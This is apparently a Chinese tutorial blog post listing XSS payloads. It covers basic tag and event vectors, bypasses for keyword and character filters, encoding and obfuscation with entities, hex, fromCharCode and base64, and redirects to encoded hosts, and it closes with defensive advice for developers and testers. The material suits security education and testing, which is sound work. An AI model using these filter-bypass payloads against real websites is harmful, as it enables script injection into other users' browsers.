XSS 攻击向量与绕过技巧

跨站脚本攻击(XSS)是一种常见的 Web 漏洞,允许攻击者在受害者的浏览器中注入并执行恶意代码。以下是 XSS 攻击的完整总结,包括无过滤情况下的基础 Payload、存在过滤时的绕过技巧以及编码和混淆方法。


一、无过滤情况下的基础 Payload

1. <script> 标签
  • 最直接的方式:

    html 复制代码
    <script>alert("xss");</script>
2. <img> 标签
  • 图片加载错误时触发:

    html 复制代码
    <img src="x" onerror=alert(1)>
  • 鼠标悬停或移出时触发:

    html 复制代码
    <img src=1 onmouseover="alert(1)">
    <img src=1 onmouseout="alert(1)">
3. <a> 标签
  • 使用伪协议 javascript: 执行代码:

    html 复制代码
    <a href="javascript:alert('xss')">test</a>
  • 鼠标悬停时触发:

    html 复制代码
    <a href="" onmouseover=prompt('xss')>aa</a>
4. <input> 标签
  • 利用焦点事件(onfocusonblur):

    html 复制代码
    <input onfocus="alert('xss');" autofocus>
    <input onblur=alert("xss") autofocus><input autofocus>
  • 键盘事件(onkeydownonkeypressonkeyup):

    html 复制代码
    <input type="text" onkeydown="alert(1)">
5. <form> 标签
  • 提交表单时触发:

    html 复制代码
    <form action=javascript:alert('xss') method="get">
6. <iframe> 标签
  • 加载外部资源或嵌入 JavaScript:

    html 复制代码
    <iframe src=javascript:alert('xss')></iframe>
    <iframe onload=alert("xss");></iframe>
7. 其他标签
  • <svg>

    html 复制代码
    <svg onload=alert(1)>
  • <body>

    html 复制代码
    <body onload="alert(1)">
  • <button>

    html 复制代码
    <button onclick="alert(1)">text</button>

二、存在过滤情况下的绕过技巧

1. 过滤空格
  • 使用 / 或其他符号代替空格:

    html 复制代码
    <img/src="x"/onerror=alert("xss");>
2. 关键字过滤
  • 大小写绕过

    html 复制代码
    <ImG sRc=x onerRor=alert("xss");>
  • 双写关键字绕过

    html 复制代码
    <imimgg srsrcc=x onerror=alert("xss");>
  • 字符拼接

    html 复制代码
    <img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
3. 其他字符混淆
  • 注释干扰规则:

    html 复制代码
    <<script>alert("xss");//<</script>
  • 利用标签优先级:

    html 复制代码
    <title><img src=</title>><img src=x onerror="alert(`xss`);">

三、编码与混淆绕过

1. Unicode 编码
  • 将字符串转为 Unicode 编码:

    html 复制代码
    <img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
2. URL 编码
  • 使用 unescape() 解码:

    html 复制代码
    <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
3. ASCII 码
  • 使用 String.fromCharCode()

    html 复制代码
    <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
4. Hex 编码
  • 使用十六进制表示字符串:

    html 复制代码
    <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
5. Base64 编码
  • 嵌入 Base64 编码内容:

    html 复制代码
    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

四、特殊场景绕过

1. 过滤括号
  • 使用 throw 绕过:

    html 复制代码
    <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
2. 过滤引号
  • 使用反引号代替引号:

    html 复制代码
    <img src="x" onerror=alert(`xss`);>
3. 过滤 URL 地址
  • 使用 URL 编码:

    html 复制代码
    <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
  • 使用 IP 地址:

    html 复制代码
    <img src="x" onerror=document.location=`http://2130706433/`>
4. 过滤特定字符
  • 使用中文逗号代替英文逗号:

    html 复制代码
    <img src="x" onerror="document.location=`http://www。baidu。com`">

五、总结与建议

通过上述总结可以看出,XSS 攻击的核心在于找到输入点并利用各种方式绕过过滤机制。以下是一些建议:

  1. 开发者角度

    • 对所有用户输入进行严格的验证和清理。
    • 使用 Content Security Policy (CSP) 限制脚本来源。
    • 输出时对特殊字符进行 HTML 编码。
  2. 安全测试人员角度

    • 测试时关注各种可能的输入点,包括隐藏字段和 HTTP 头部。
    • 学会使用工具(如 Burp Suite)自动化检测漏洞。
    • 不断尝试新的绕过技巧,模拟真实攻击场景。

XSS 是一个复杂但有趣的领域,既需要理论知识的支持,也离不开实践中的不断探索。

希望本文能帮助你更好地理解 XSS 攻击及其防御方法!

相关推荐
爱勇宝21 小时前
《道德经》第 10 章:真正成熟的人,能成事但不控制一切
前端·后端·程序员
看谷秀21 小时前
arkts- 8 三方库介绍
前端·arkts
六边形6661 天前
独立开发不知道做什么?使用 TRAE Work 抓取差评痛点,快速跑通产品立项流
前端·后端·面试
亿元程序员1 天前
小伙伴发我一个 1G 的 Cocos 项目,assets 只有几十兆
前端
paopaokaka_luck1 天前
基于springboot3+vue3的文山民族文化资源展示与推广平台(协同过滤算法、Echarts 图形化分析)
java·前端·spring boot·学习·echarts
临江仙4551 天前
同一个 AI Agent 如何同时服务 Web、微信和 QQ:PureChat 的渠道架构实践
前端·人工智能·后端
程序员鱼皮1 天前
16 个超火的 DeepSeek Harness 插件,大肥鱼已经落后 N 个版本了。。。
前端·后端·ai编程
马可家的菠萝1 天前
AI Agent Demo 10 分钟就能跑,真正难的是让它 200 个场景都别乱来
前端·后端·aigc
Vuji1 天前
Pi 插件解剖|summarize.ts:199 行,给 Agent 的对话做一份 Markdown 总结
前端·人工智能·agent
逻辑帧1 天前
给 AI 时代找工作的同学一些实用建议
前端·后端